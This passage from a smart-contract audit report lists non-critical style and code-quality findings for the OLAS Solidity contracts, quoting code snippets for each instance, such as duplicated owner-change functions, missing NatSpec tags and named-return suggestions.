[N-05]	Consider moving duplicated strings to constants	4
[N-06]	Consider using <code>delete</code> rather than assigning zero/false to clear values	3
[N-07]	Consider using descriptive constants when passing zero as a function argument	22
[N-08]	Consider using named function arguments	19
[N-09]	Consider using named returns	63
[N-10]	Constants in comparisons should appear on the left side	10
[N-11]	Contract timekeeping will break earlier than the Ethereum network itself will stop working	1
[N-12]	Contracts/libraries/interfaces should each be defined in separate files	12
[N-13]	Function state mutability can be restricted to <code>view</code>	6
[N-14]	Inconsistent spacing in comments	2
[N-15]	Interfaces should be defined in separate files from their usage	1
[N-16]	Named imports of parent contracts are missing	17

NUMBER	ISSUE	INSTANCES
[N-17]	NatSpec: Event <code>@param</code> tag is missing	149
[N-18]	NatSpec: Function <code>@param</code> tag is missing	1
[N-19]	NatSpec: Function <code>@return</code> tag is missing	8
[N-20]	Not using the named return variables anywhere in the function is confusing	4
[N-21]	Style guide: Local and state variables should be named using <code>lowerCamelCase</code>	1
[N-22]	Style guide: Non-external/public variable names should begin with an underscore	3
[N-23]	Style guide: Top-level declarations should be separated by at least two lines	2
[N-24]	Unnecessary cast	3
[N-25]	Unused <code>error</code> definition	9
[N-26]	Unused <code>public</code> contract variable	9
[N-27]	Use <code>bytes.concat()</code> on <code>bytes</code> instead of <code>abi.encodePacked()</code> for clearer semantic meaning	1
[N-28]	Use bit shifts to represent powers of two	7
[N-29]	Use of <code>override</code> is unnecessary	14

Total: 404 instances over 29 issues

Non-critical Issues

[N-01] `else-block` not required

One level of nesting can be removed by not having an `else` block when the `if`-block returns, and `if (foo) { return 1; } else { return 2; }` becomes `if (foo) { return 1; } return 2;`. A following `else if` can become `if`

There is one instance of this issue:

File: contracts/veOLAS.sol

```
265             if (tStep == block.timestamp) {  
266                 lastPoint.blockNumber = uint64(block.number);  
267                 lastPoint.balance = curSupply;  
268                 break;
```

GitHub: [265](#)

[N-02] public functions not called by the contract should be declared external instead

Contracts [are allowed](#) to override their parents' functions and change the visibility from external to public.

There are 2 instances of this issue:

File: contracts/veOLAS.sol

```
761:     function supportsInterface(bytes4 interfaceId) public view  
virtual override returns (bool) {
```

GitHub: [761](#)

File: contracts/GenericRegistry.sol

```
135:     function tokenURI(uint256 unitId) public view virtual override  
returns (string memory) {
```

GitHub: [135](#)

[N-03] Common functions should be refactored to a common base contract

The functions below have the same implementation as is seen in other files. The functions should be refactored into functions of a common base contract

There are 8 instances of this issue:

File: contracts/GenericManager.sol

```

20     function changeOwner(address newOwner) external virtual {
21         // Check for the ownership
22         if (msg.sender != owner) {
23             revert OwnerOnly(msg.sender, owner);
24         }
25
26         // Check for the zero address
27         if (newOwner == address(0)) {
28             revert ZeroAddress();
29         }
30
31         owner = newOwner;
32         emit OwnerUpdated(newOwner);
33:     }

```

GitHub: [20](#)

File: contracts/GenericRegistry.sol

```

37     function changeOwner(address newOwner) external virtual {
38         // Check for the ownership
39         if (msg.sender != owner) {
40             revert OwnerOnly(msg.sender, owner);
41         }
42
43         // Check for the zero address
44         if (newOwner == address(0)) {
45             revert ZeroAddress();
46         }
47
48         owner = newOwner;
49         emit OwnerUpdated(newOwner);
50:     }

```

GitHub: [37](#)

File: contracts/Depository.sol

```

123    function changeOwner(address newOwner) external {
124        // Check for the contract ownership
125        if (msg.sender != owner) {

```

```

126         revert OwnerOnly(msg.sender, owner);
127     }
128
129     // Check for the zero address
130     if (newOwner == address(0)) {
131         revert ZeroAddress();
132     }
133
134     owner = newOwner;
135     emit OwnerUpdated(newOwner);
136: }

143     function changeManagers(address _tokenomics, address _treasury)
external {
144         // Check for the contract ownership
145         if (msg.sender != owner) {
146             revert OwnerOnly(msg.sender, owner);
147         }
148
149         // Change Tokenomics contract address
150         if (_tokenomics != address(0)) {
151             tokenomics = _tokenomics;
152             emit TokenomicsUpdated(_tokenomics);
153         }
154         // Change Treasury contract address
155         if (_treasury != address(0)) {
156             treasury = _treasury;
157             emit TreasuryUpdated(_treasury);
158         }
159: }

```

GitHub: [123](#), [143](#)

File: contracts/Dispenser.sol

```

46     function changeOwner(address newOwner) external {
47         // Check for the contract ownership
48         if (msg.sender != owner) {
49             revert OwnerOnly(msg.sender, owner);
50         }
51
52         // Check for the zero address
53         if (newOwner == address(0)) {
54             revert ZeroAddress();

```

```

55         }
56
57         owner = newOwner;
58         emit OwnerUpdated(newOwner);
59     }

```

GitHub: [46](#)

File: contracts/DonatorBlacklist.sol

```

36     function changeOwner(address newOwner) external {
37         // Check for the contract ownership
38         if (msg.sender != owner) {
39             revert OwnerOnly(msg.sender, owner);
40         }
41
42         // Check for the zero address
43         if (newOwner == address(0)) {
44             revert ZeroAddress();
45         }
46
47         owner = newOwner;
48         emit OwnerUpdated(newOwner);
49     }

```

GitHub: [36](#)

File: contracts/Tokenomics.sol

```

404     function changeOwner(address newOwner) external {
405         // Check for the contract ownership
406         if (msg.sender != owner) {
407             revert OwnerOnly(msg.sender, owner);
408         }
409
410         // Check for the zero address
411         if (newOwner == address(0)) {
412             revert ZeroAddress();
413         }
414
415         owner = newOwner;
416         emit OwnerUpdated(newOwner);

```

```
417:    }
```

GitHub: [404](#)

File: contracts/Treasury.sol

```
137     function changeOwner(address newOwner) external {
138         // Check for the contract ownership
139         if (msg.sender != owner) {
140             revert OwnerOnly(msg.sender, owner);
141         }
142
143         // Check for the zero address
144         if (newOwner == address(0)) {
145             revert ZeroAddress();
146         }
147
148         owner = newOwner;
149         emit OwnerUpdated(newOwner);
150:    }
```

GitHub: [137](#)

[N-04] Consider making contracts Upgradeable

This allows for bugs to be fixed in production, at the expense of *significantly* increasing centralization.

There are 22 instances of this issue:

File: contracts/OLAS.sol

```
17:    contract OLAS is ERC20 {
```

GitHub: [17](#)

File: contracts/Timelock.sol

```
9:    contract Timelock is TimelockController {
```

GitHub: [9](#)

File: contracts/bridges/BridgedERC20.sol

```
18:  contract BridgedERC20 is ERC20 {
```

GitHub: [18](#)

File: contracts/bridges/FxERC20ChildTunnel.sol

```
24:  contract FxERC20ChildTunnel is FxBaseChildTunnel {
```

GitHub: [24](#)

File: contracts/bridges/FxERC20RootTunnel.sol

```
24:  contract FxERC20RootTunnel is FxBaseRootTunnel {
```

GitHub: [24](#)

File: contracts/bridges/FxGovernorTunnel.sol

```
46:  contract FxGovernorTunnel is IFxMessageProcessor {
```

GitHub: [46](#)

File: contracts/bridges/HomeMediator.sol

```
46:  contract HomeMediator {
```

GitHub: [46](#)

File: contracts/multisigs/GuardCM.sol

```
88:  contract GuardCM {
```

GitHub: [88](#)

File: contracts/veOLAS.sol

```
86:  contract veOLAS is IErrors, IVotes, IERC20, IERC165 {
```

GitHub: [86](#)

File: contracts/wveOLAS.sol

```
130 contract wveOLAS {  
131:     // veOLAS address
```

GitHub: [130](#)

File: contracts/AgentRegistry.sol

```
9   contract AgentRegistry is UnitRegistry {  
10:     // Component registry
```

GitHub: [9](#)

File: contracts/ComponentRegistry.sol

```
8   contract ComponentRegistry is UnitRegistry {  
9:     // Component registry version number
```

GitHub: [8](#)

File: contracts/RegistriesManager.sol

```
9    contract RegistriesManager is GenericManager {
10:      // Component registry address
```

GitHub: [9](#)

File: contracts/multisigs/GnosisSafeMultisig.sol

```
24    contract GnosisSafeMultisig {
25:      // Selector of the Gnosis Safe setup function
```

GitHub: [24](#)

File: contracts/multisigs/GnosisSafeSameAddressMultisig.sol

```
50    contract GnosisSafeSameAddressMultisig {
51      // Default data size to be parsed as an address of a Gnosis Safe
multisig proxy address
52:      // This exact size suggests that all the changes to the multisig
have been performed and only validation is needed
```

GitHub: [50](#)

File: contracts/Depository.sol

```
62:    contract Depository is IErrorsTokenomics {
```

GitHub: [62](#)

File: contracts/Dispenser.sol

```
11:    contract Dispenser is IErrorsTokenomics {
```

GitHub: [11](#)

File: contracts/DonatorBlacklist.sol

```
20: contract DonatorBlacklist {
```

GitHub: [20](#)

File: contracts/GenericBondCalculator.sol

```
20 contract GenericBondCalculator {  
21:     // OLAS contract address
```

GitHub: [20](#)

File: contracts/Tokenomics.sol

```
118: contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
```

GitHub: [118](#)

File: contracts/TokenomicsProxy.sol

```
26 contract TokenomicsProxy {  
27:     // Code position in storage is keccak256("PROXY_TOKENOMICS") =  
    "0xbd5523e7c3b6a94aa0e3b24d1120addc2f95c7029e097b466b2bedc8d4b4362f"
```

GitHub: [26](#)

File: contracts/Treasury.sol

```
39: contract Treasury is IErrorsTokenomics {
```

GitHub: [39](#)

[N-05] Consider moving duplicated strings to constants

There are 4 instances of this issue:

```
File: contracts/AgentRegistry.sol
```

```
13:      string public constant VERSION = "1.0.0";
```

GitHub: [13](#)

```
File: contracts/ComponentRegistry.sol
```

```
10:      string public constant VERSION = "1.0.0";
```

GitHub: [10](#)

```
File: contracts/Depository.sol
```

```
77:      string public constant VERSION = "1.0.1";
```

GitHub: [77](#)

```
File: contracts/TokenomicsConstants.sol
```

```
11:      string public constant VERSION = "1.0.1";
```

GitHub: [11](#)

[N-06] Consider using `delete` rather than assigning zero/false to clear values

The `delete` keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic

There are 3 instances of this issue:

```
File: contracts/GenericManager.sol
```

```
53:      paused = false;
```

GitHub: [53](#)

```
File: contracts/Treasury.sol

455:                success = false;

518:                mapEnabledTokens[token] = false;
```

GitHub: [455](#), [518](#)

[N-07] Consider using descriptive constants when passing zero as a function argument

Passing zero as a function argument can sometimes result in a security issue (e.g. passing zero as the slippage parameter). Consider using a constant variable with a descriptive name, so it's clear that the argument is intentionally being used, and for the right reasons.

There are 22 instances of this issue:

```
File: contracts/veOLAS.sol

139:        mapSupplyPoints[0] = PointVoting(0, 0,
uint64(block.timestamp), uint64(block.number), 0);

139:        mapSupplyPoints[0] = PointVoting(0, 0,
uint64(block.timestamp), uint64(block.number), 0);

139:        mapSupplyPoints[0] = PointVoting(0, 0,
uint64(block.timestamp), uint64(block.number), 0);

215:        lastPoint = PointVoting(0, 0, uint64(block.timestamp),
uint64(block.number), 0);

215:        lastPoint = PointVoting(0, 0, uint64(block.timestamp),
uint64(block.number), 0);

215:        lastPoint = PointVoting(0, 0, uint64(block.timestamp),
uint64(block.number), 0);

321:        _checkpoint(address(0), LockedBalance(0, 0),
LockedBalance(0, 0), uint128(supply));
```

```

321:         _checkpoint(address(0), LockedBalance(0, 0),
LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0),
LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0),
LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0),
LockedBalance(0, 0), uint128(supply));

396:         _depositFor(account, amount, 0, lockedBalance,
DepositType.DEPOSIT_FOR_TYPE);

478:         _depositFor(msg.sender, amount, 0, lockedBalance,
DepositType.INCREASE_LOCK_AMOUNT);

506:         _depositFor(msg.sender, 0, unlockTime, lockedBalance,
DepositType.INCREASE_UNLOCK_TIME);

517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0);

517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0);

528:         _checkpoint(msg.sender, lockedBalance, LockedBalance(0, 0),
uint128(supplyAfter));

528:         _checkpoint(msg.sender, lockedBalance, LockedBalance(0, 0),
uint128(supplyAfter));

650:         (point, minPointNumber) = _findPointByBlock(blockNumber,
address(0));

728:         (PointVoting memory sPoint, ) =
_findPointByBlock(blockNumber, address(0));

```

GitHub: [139](#), [139](#), [139](#), [215](#), [215](#), [215](#), [321](#), [321](#), [321](#), [321](#), [321](#), [321](#), [396](#), [478](#), [506](#), [517](#), [517](#), [528](#), [528](#), [650](#), [728](#)

File: contracts/Tokenomics.sol

```
329:         uint256 _inflationPerSecond = getInflationForYear(0) /
zeroYearSecondsLeft;
```

GitHub: [329](#)

File: contracts/Treasury.sol

```
408:             revert TransferFailed(address(0), address(this),
account, accountRewards);
```

GitHub: [408](#)

[N-08] Consider using named function arguments

When calling functions in external contracts with multiple arguments, consider using [named](#) function parameters, rather than positional ones.

There are 19 instances of this issue:

File: contracts/bridges/FxERC20RootTunnel.sol

```
77:             IERC20(rootToken).mint(to, amount);
```

GitHub: [77](#)

File: contracts/wveOLAS.sol

```
197:             uPoint = IVEOLAS(ve).getUserPoint(account, idx);
```

```
216:             balance = IVEOLAS(ve).getPastVotes(account,
blockNumber);
```

```
236:             balance = IVEOLAS(ve).balanceOfAt(account, blockNumber);
```

GitHub: [197](#), [216](#), [236](#)

File: contracts/RegistriesManager.sol

```

39:             unitId = IRegistry(componentRegistry).create(unitOwner,
unitHash, dependencies);

41:             unitId = IRegistry(agentRegistry).create(unitOwner,
unitHash, dependencies);

52:             success =
IRegistry(componentRegistry).updateHash(msg.sender, unitId, unitHash);

54:             success =
IRegistry(agentRegistry).updateHash(msg.sender, unitId, unitHash);

```

GitHub: [39](#), [41](#), [52](#), [54](#)

File: contracts/multisigs/GnosisSafeMultisig.sol

```

106:         multisig =
IGnosisSafeProxyFactory(gnosisSafeProxyFactory).createProxyWithNonce(gnos
isSafe, safeParams, nonce);

```

GitHub: [106](#)

File: contracts/Depository.sol

```

320:         payout =
IGenericBondCalculator(bondCalculator).calculatePayoutOLAS(tokenAmount,
product.priceLP);

337:         ITreasury(treasury).depositTokenForOLAS(msg.sender,
tokenAmount, token, payout);

```

GitHub: [320](#), [337](#)

File: contracts/Dispenser.sol

```

99:         (reward, topUp) =
ITokenomics(tokenomics).accountOwnerIncentives(msg.sender, unitTypes,
unitIds);

```



```

104:                success =
ITreasury(treasury).withdrawToAccount(msg.sender, reward, topUp);

```

GitHub: [99](#), [104](#)

File: contracts/Tokenomics.sol

```

716                (uint256 numServiceUnits, uint32[] memory
serviceUnitIds) = IServiceRegistry(serviceRegistry).
717:
getUnitIdsOfService(IServiceRegistry.UnitType(unitType), serviceIds[i]);

```

GitHub: [716](#)

File: contracts/Treasury.sol

```

228:                if (IToken(token).allowance(account, address(this)) <
tokenAmount) {

229:                revert
InsufficientAllowance(IToken(token).allowance((account), address(this)),
tokenAmount);

242:                IOLAS(olas).mint(msg.sender, olasMintAmount);

298:                ITokenomics(tokenomics).trackServiceDonations(msg.sender,
serviceIds, amounts, msg.value);

416:                IOLAS(olas).mint(account, accountTopUps);

```

GitHub: [228](#), [229](#), [242](#), [298](#), [416](#)

[N-09] Consider using named returns

Using named returns makes the code more self-documenting, makes it easier to fill out NatSpec, and in some cases can save gas. The cases below are where there currently is at most one return statement, which is ideal for named returns.

There are 63 instances of this issue:

File: contracts/GovernorOLAS.sol

```
33     function state(uint256 proposalId) public view
override(IGovernor, Governor, GovernorTimelockControl)
34         returns (ProposalState)
35:     {

45     function propose(
46         address[] memory targets,
47         uint256[] memory values,
48         bytes[] memory calldatas,
49         string memory description
50     ) public override(IGovernor, Governor,
GovernorCompatibilityBravo) returns (uint256)
51:     {

57     function proposalThreshold() public view override(Governor,
GovernorSettings) returns (uint256)
58:     {

85     function _cancel(
86         address[] memory targets,
87         uint256[] memory values,
88         bytes[] memory calldatas,
89         bytes32 descriptionHash
90     ) internal override(Governor, GovernorTimelockControl) returns
(uint256)
91:     {

97     function _executor() internal view override(Governor,
GovernorTimelockControl) returns (address)
98:     {

105    function supportsInterface(bytes4 interfaceId) public view
override(IERC165, Governor, GovernorTimelockControl)
106        returns (bool)
107:    {
```

GitHub: [33](#), [45](#), [57](#), [85](#), [97](#), [105](#)

File: contracts/OLAS.sol

```

91:     function inflationControl(uint256 amount) public view returns
    (bool) {

128:     function decreaseAllowance(address spender, uint256 amount)
    external returns (bool) {

145:     function increaseAllowance(address spender, uint256 amount)
    external returns (bool) {

```

GitHub: [91](#), [128](#), [145](#)

File: contracts/bridges/HomeMediator.sol

```

6:     function messageSender() external view returns (address);

```

GitHub: [6](#)

File: contracts/interfaces/IERC20.sol

```

9:     function balanceOf(address account) external view returns
    (uint256);

13:     function totalSupply() external view returns (uint256);

19:     function allowance(address owner, address spender) external view
    returns (uint256);

25:     function approve(address spender, uint256 amount) external
    returns (bool);

31:     function transfer(address to, uint256 amount) external returns
    (bool);

38:     function transferFrom(address from, address to, uint256 amount)
    external returns (bool);

```

GitHub: [9](#), [13](#), [19](#), [25](#), [31](#), [38](#)

File: contracts/multisigs/GuardCM.sol

```
7:         function state(uint256 proposalId) external returns
(ProposalState);
```

GitHub: [7](#)

File: contracts/veOLAS.sol

```
164:     function getUserPoint(address account, uint256 idx) external
view returns (PointVoting memory) {

633:     function getVotes(address account) public view override returns
(uint256) {

719:     function totalSupply() public view override returns (uint256) {

738:     function totalSupplyLockedAtT(uint256 ts) public view returns
(uint256) {

745:     function totalSupplyLocked() public view returns (uint256) {

752:     function getPastTotalSupply(uint256 blockNumber) public view
override returns (uint256) {

761:     function supportsInterface(bytes4 interfaceId) public view
virtual override returns (bool) {

767:     function transfer(address to, uint256 amount) external virtual
override returns (bool) {

772:     function approve(address spender, uint256 amount) external
virtual override returns (bool) {

777:     function transferFrom(address from, address to, uint256 amount)
external virtual override returns (bool) {

782     function allowance(address owner, address spender) external view
virtual override returns (uint256)
783:     {

788     function delegates(address account) external view virtual
override returns (address)
789:     {
```

GitHub: [164](#), [633](#), [719](#), [738](#), [745](#), [752](#), [761](#), [767](#), [772](#), [777](#), [782](#), [788](#)

File: contracts/wveOLAS.sol

```
98:     function supportsInterface(bytes4 interfaceId) external view
returns (bool);

101:    function allowance(address owner, address spender) external view
returns (uint256);

104:    function delegates(address account) external view returns
(address);

292:    function supportsInterface(bytes4 interfaceId) external view
returns (bool) {

297:    function transfer(address, uint256) external returns (bool) {

302:    function approve(address, uint256) external returns (bool) {

307:    function transferFrom(address, address, uint256) external
returns (bool) {

312:    function allowance(address, address) external view returns
(uint256) {

317:    function delegates(address) external view returns (address) {
```

GitHub: [98](#), [101](#), [104](#), [292](#), [297](#), [302](#), [307](#), [312](#), [317](#)

File: contracts/GenericRegistry.sol

```
72:     function exists(uint256 unitId) external view virtual returns
(bool) {

129:    function _getUnitHash(uint256 unitId) internal view virtual
returns (bytes32);

135:    function tokenURI(uint256 unitId) public view virtual override
returns (string memory) {
```

GitHub: [72](#), [129](#), [135](#)

File: contracts/UnitRegistry.sol

```
270:     function _getUnitHash(uint256 unitId) internal view override
returns (bytes32) {
```

GitHub: [270](#)

File: contracts/interfaces/IRegistry.sol

```
16     function create(
17         address unitOwner,
18         bytes32 unitHash,
19         uint32[] memory dependencies
20:     ) external returns (uint256);

48:     function totalSupply() external view returns (uint256);
```

GitHub: [16](#), [48](#)

File: contracts/multisigs/GnosisSafeSameAddressMultisig.sol

```
8:     function getOwners() external view returns (address[] memory);

12:    function getThreshold() external view returns (uint256);
```

GitHub: [8](#), [12](#)

File: contracts/interfaces/IOLAS.sol

```
12:     function timeLaunch() external view returns (uint256);
```

GitHub: [12](#)

File: contracts/interfaces/IServiceRegistry.sol

```
14:         function exists(uint256 serviceId) external view returns (bool);
```

GitHub: [14](#)

File: contracts/interfaces/IToken.sol

```
9:         function balanceOf(address account) external view returns
(uint256);

14:        function ownerOf(uint256 tokenId) external view returns
(address);

18:        function totalSupply() external view returns (uint256);

24:        function transfer(address to, uint256 amount) external returns
(bool);

30:        function allowance(address owner, address spender) external view
returns (uint256);

36:        function approve(address spender, uint256 amount) external
returns (bool);

43:        function transferFrom(address from, address to, uint256 amount)
external returns (bool);
```

GitHub: [9](#), [14](#), [18](#), [24](#), [30](#), [36](#), [43](#)

File: contracts/interfaces/ITokenomics.sol

```
8:         function effectiveBond() external pure returns (uint256);

11:        function checkpoint() external returns (bool);

30:        function reserveAmountForBondProgram(uint256 amount) external
returns(bool);

51:        function serviceRegistry() external view returns (address);
```

GitHub: [8](#), [11](#), [30](#), [51](#)

File: contracts/interfaces/IUniswapV2Pair.sol

```
6:      function totalSupply() external view returns (uint);  
7:      function token0() external view returns (address);  
8:      function token1() external view returns (address);
```

GitHub: [6](#), [7](#), [8](#)

File: contracts/interfaces/IVotingEscrow.sol

```
8:      function getVotes(address account) external view returns  
(uint256);
```

GitHub: [8](#)

[N-10] Constants in comparisons should appear on the left side

Doing so will prevent [typo bugs](#) where the first '!', '>', '<', or '=' at the beginning of the operator is missing.

There are 10 instances of this issue:

File: contracts/GenericBondCalculator.sol

```
82:      if (token0 == olas || token1 == olas) {  
82:      if (token0 == olas || token1 == olas) {  
84:      if (token0 == olas) {
```

GitHub: [82](#), [82](#), [84](#)

File: contracts/Tokenomics.sol


```

296:         if (uint32(_epochLen) < MIN_EPOCH_LENGTH) {
301:         if (uint32(_epochLen) > ONE_YEAR) {
511:         if (uint72(_devsPerCapital) > MIN_PARAM_VALUE) {
519:         if (uint72(_codePerDev) > MIN_PARAM_VALUE) {
536:         if (uint32(_epochLen) >= MIN_EPOCH_LENGTH &&
uint32(_epochLen) <= ONE_YEAR) {
536:         if (uint32(_epochLen) >= MIN_EPOCH_LENGTH &&
uint32(_epochLen) <= ONE_YEAR) {
902:         if (diffNumSeconds < curEpochLen || diffNumSeconds >
ONE_YEAR) {

```

GitHub: [296](#), [301](#), [511](#), [519](#), [536](#), [536](#), [902](#)

[N-11] Contract timekeeping will break earlier than the Ethereum network itself will stop working

When a timestamp is downcast from `uint256` to `uint32`, the value will wrap in the year 2106, and the contracts will break. Other downcasts will have different endpoints. Consider whether your contract is intended to live past the size of the type being used.

There is one instance of this issue:

File: `contracts/Tokenomics.sol`

```

325:         uint256 zeroYearSecondsLeft = uint32(_timeLaunch + ONE_YEAR
- block.timestamp);

```

GitHub: [325](#)

[N-12] Contracts/libraries/interfaces should each be defined in separate files

This helps to make tracking changes across commits easier, among other reasons. They can be combined into a single file later by importing multiple contracts, and using that file as the common import.

There are 12 instances of this issue:

File: contracts/bridges/FxGovernorTunnel.sol

```
/// @audit FxGovernorTunnel,IFxMessageProcessor
5:   interface IFxMessageProcessor {

/// @audit FxGovernorTunnel,IFxMessageProcessor
46:   contract FxGovernorTunnel is IFxMessageProcessor {
```

GitHub: [5](#), [46](#)

File: contracts/bridges/HomeMediator.sol

```
/// @audit IAMB,HomeMediator
5:   interface IAMB {

/// @audit IAMB,HomeMediator
46:   contract HomeMediator {
```

GitHub: [5](#), [46](#)

File: contracts/multisigs/GuardCM.sol

```
/// @audit GuardCM,IGovernor
6:   interface IGovernor {

/// @audit GuardCM,IGovernor
88:   contract GuardCM {
```

GitHub: [6](#), [88](#)

File: contracts/wveOLAS.sol

```
/// @audit IVEOLAS,wveOLAS
13   interface IVEOLAS {
14       /// @dev Gets the total number of supply points.
15:       /// @return numPoints Number of supply points.

/// @audit IVEOLAS,wveOLAS
130   contract wveOLAS {
```

```
131:      // veOLAS address
```

GitHub: [13](#), [130](#)

File: contracts/multisigs/GnosisSafeMultisig.sol

```
/// @audit IGnosisSafeProxyFactory,GnosisSafeMultisig
5   interface IGnosisSafeProxyFactory {
6       /// @dev Allows to create new proxy contact and execute a
    message call to the new proxy within one transaction.
7       /// @param _singleton Address of singleton contract.
8       /// @param initializer Payload for message call sent to new
    proxy contract.
9:     /// @param saltNonce Nonce that will be used to generate the
    salt to calculate the address of the new proxy contract.

/// @audit IGnosisSafeProxyFactory,GnosisSafeMultisig
24  contract GnosisSafeMultisig {
25:     // Selector of the Gnosis Safe setup function
```

GitHub: [5](#), [24](#)

File: contracts/multisigs/GnosisSafeSameAddressMultisig.sol

```
/// @audit GnosisSafeSameAddressMultisig,IGnosisSafe
5   interface IGnosisSafe {
6       /// @dev Gets set of owners.
7:     /// @return Set of Safe owners.

/// @audit GnosisSafeSameAddressMultisig,IGnosisSafe
50  contract GnosisSafeSameAddressMultisig {
51      // Default data size to be parsed as an address of a Gnosis Safe
    multisig proxy address
52:     // This exact size suggests that all the changes to the multisig
    have been performed and only validation is needed
```

GitHub: [5](#), [50](#)

[N-13] Function state mutability can be restricted to `view`

Note that when overriding, mutability is allowed to be changed to be [more](#) strict than the parent function's mutability

There are 6 instances of this issue:

File: contracts/multisigs/GuardCM.sol

```
189:     function _verifyData(address target, bytes memory data, uint256
chainId) internal {
```

GitHub: [189](#)

File: contracts/wveOLAS.sol

```
297:     function transfer(address, uint256) external returns (bool) {

302:     function approve(address, uint256) external returns (bool) {

307:     function transferFrom(address, address, uint256) external
returns (bool) {

322     function delegate(address) external
323:     {

328     function delegateBySig(address, uint256, uint256, uint8,
bytes32, bytes32) external
329:     {
```

GitHub: [297](#), [302](#), [307](#), [322](#), [328](#)

[N-14] Inconsistent spacing in comments

Some lines use `// x` and some use `//x`. The instances below point out the usages that don't follow the majority, within each file

There are 2 instances of this issue:

File: contracts/Tokenomics.sol

```
873:     ///$result == true && (block.timestamp - timeLaunch) / ONE_YEAR
== old(currentYear)
```

GitHub: [873](#)

File: contracts/Treasury.sol

```
464:      ///if_succeeds { :msg "slashed funds check"}
      IServiceRegistry(ITokenomics(tokenomics).serviceRegistry()).slashedFunds(
    ) >= minAcceptedETH
```

GitHub: [464](#)

[N-15] Interfaces should be defined in separate files from their usage

The interfaces below should be defined in separate files, so that it's easier for future projects to import them, and to avoid duplication later on if they need to be used elsewhere in the project

There is one instance of this issue:

File: contracts/bridges/FxGovernorTunnel.sol

```
5:   interface IFxMessageProcessor {
```

GitHub: [5](#)

[N-16] Named imports of parent contracts are missing

There are 17 instances of this issue:

File: contracts/OLAS.sol

```
/// @audit ERC20
17:  contract OLAS is ERC20 {
```

GitHub: [17](#)

File: contracts/Timelock.sol

```
/// @audit TimelockController
9:   contract Timelock is TimelockController {
```

GitHub: [9](#)

File: contracts/veOLAS.sol

```
/// @audit IErrors
/// @audit IVotes
/// @audit IERC20
/// @audit IERC165
86:  contract veOLAS is IErrors, IVotes, IERC20, IERC165 {
```

GitHub: [86](#), [86](#), [86](#), [86](#)

File: contracts/AgentRegistry.sol

```
/// @audit UnitRegistry
9:   contract AgentRegistry is UnitRegistry {
```

GitHub: [9](#)

File: contracts/ComponentRegistry.sol

```
/// @audit UnitRegistry
8:   contract ComponentRegistry is UnitRegistry {
```

GitHub: [8](#)

File: contracts/GenericManager.sol

```
/// @audit IErrorsRegistries
8:   abstract contract GenericManager is IErrorsRegistries {
```

GitHub: [8](#)

```
File: contracts/GenericRegistry.sol

/// @audit IErrorsRegistries
/// @audit ERC721
9:   abstract contract GenericRegistry is IErrorsRegistries, ERC721 {
```

GitHub: [9](#), [9](#)

```
File: contracts/RegistriesManager.sol

/// @audit GenericManager
9:   contract RegistriesManager is GenericManager {
```

GitHub: [9](#)

```
File: contracts/UnitRegistry.sol

/// @audit GenericRegistry
8:   abstract contract UnitRegistry is GenericRegistry {
```

GitHub: [8](#)

```
File: contracts/Dispenser.sol

/// @audit IErrorsTokenomics
11:  contract Dispenser is IErrorsTokenomics {
```

GitHub: [11](#)

```
File: contracts/Tokenomics.sol

/// @audit TokenomicsConstants
/// @audit IErrorsTokenomics
118: contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {
```

GitHub: [118](#), [118](#)

```
File: contracts/Treasury.sol

/// @audit IErrorsTokenomics
39:  contract Treasury is IErrorsTokenomics {
```

GitHub: [39](#)

[N-17] NatSpec: Event @param tag is missing

There are 149 instances of this issue:

```
File: contracts/OLAS.sol

/// @audit Missing '@param minter'
13
14  /// @title OLAS - Smart contract for the OLAS token.
15  /// @author AL
16  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
17  contract OLAS is ERC20 {
18:      event MinterUpdated(address indexed minter);

/// @audit Missing '@param owner'
14  /// @title OLAS - Smart contract for the OLAS token.
15  /// @author AL
16  /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
17  contract OLAS is ERC20 {
18      event MinterUpdated(address indexed minter);
19:      event OwnerUpdated(address indexed owner);
```

GitHub: [13](#), [14](#)

```
File: contracts/bridges/BridgedERC20.sol

/// @audit Missing '@param owner'
14
15  /// @title BridgedERC20 - Smart contract for bridged ERC20 token
```



```

16    /// @dev Bridged token contract is owned by the bridge mediator
    contract, and thus the token representation from
17    ///      another chain must be minted and burned solely by the
    bridge mediator contract.
18    contract BridgedERC20 is ERC20 {
19:        event OwnerUpdated(address indexed owner);

```

GitHub: [14](#)

File: contracts/bridges/FxERC20ChildTunnel.sol

```

/// @audit Missing '@param childToken'
/// @audit Missing '@param rootToken'
/// @audit Missing '@param from'
/// @audit Missing '@param to'
/// @audit Missing '@param amount'
20    /// @title FxERC20ChildTunnel - Smart contract for the L2 token
    management part
21    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
22    /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
23    /// @author Mariapia Moscatiello - <mariapia.moscatiello@valory.xyz>
24    contract FxERC20ChildTunnel is FxBaseChildTunnel {
25:        event FxDepositERC20(address indexed childToken, address indexed
    rootToken, address from, address indexed to, uint256 amount);

    /// @audit Missing '@param rootToken'
    /// @audit Missing '@param childToken'
    /// @audit Missing '@param from'
    /// @audit Missing '@param to'
    /// @audit Missing '@param amount'
21    /// @author Aleksandr Kuperman - <aleksandr.kuperman@valory.xyz>
22    /// @author Andrey Lebedev - <andrey.lebedev@valory.xyz>
23    /// @author Mariapia Moscatiello - <mariapia.moscatiello@valory.xyz>
24    contract FxERC20ChildTunnel is FxBaseChildTunnel {
25        event FxDepositERC20(address indexed childToken, address indexed
    rootToken, address from, address indexed to, uint256 amount);
26:        event FxWithdrawERC20(address indexed rootToken, address indexed
    childToken, address from, address indexed to, uint256 amount);

```

GitHub: [20](#), [20](#), [20](#), [20](#), [20](#), [21](#), [21](#), [21](#), [21](#)

File: contracts/bridges/FxERC20RootTunnel.sol

```

/// @audit Missing '@param childToken'
/// @audit Missing '@param rootToken'
/// @audit Missing '@param from'
/// @audit Missing '@param to'
/// @audit Missing '@param amount'
20  /// @title FxERC20RootTunnel - Smart contract for the L1 token
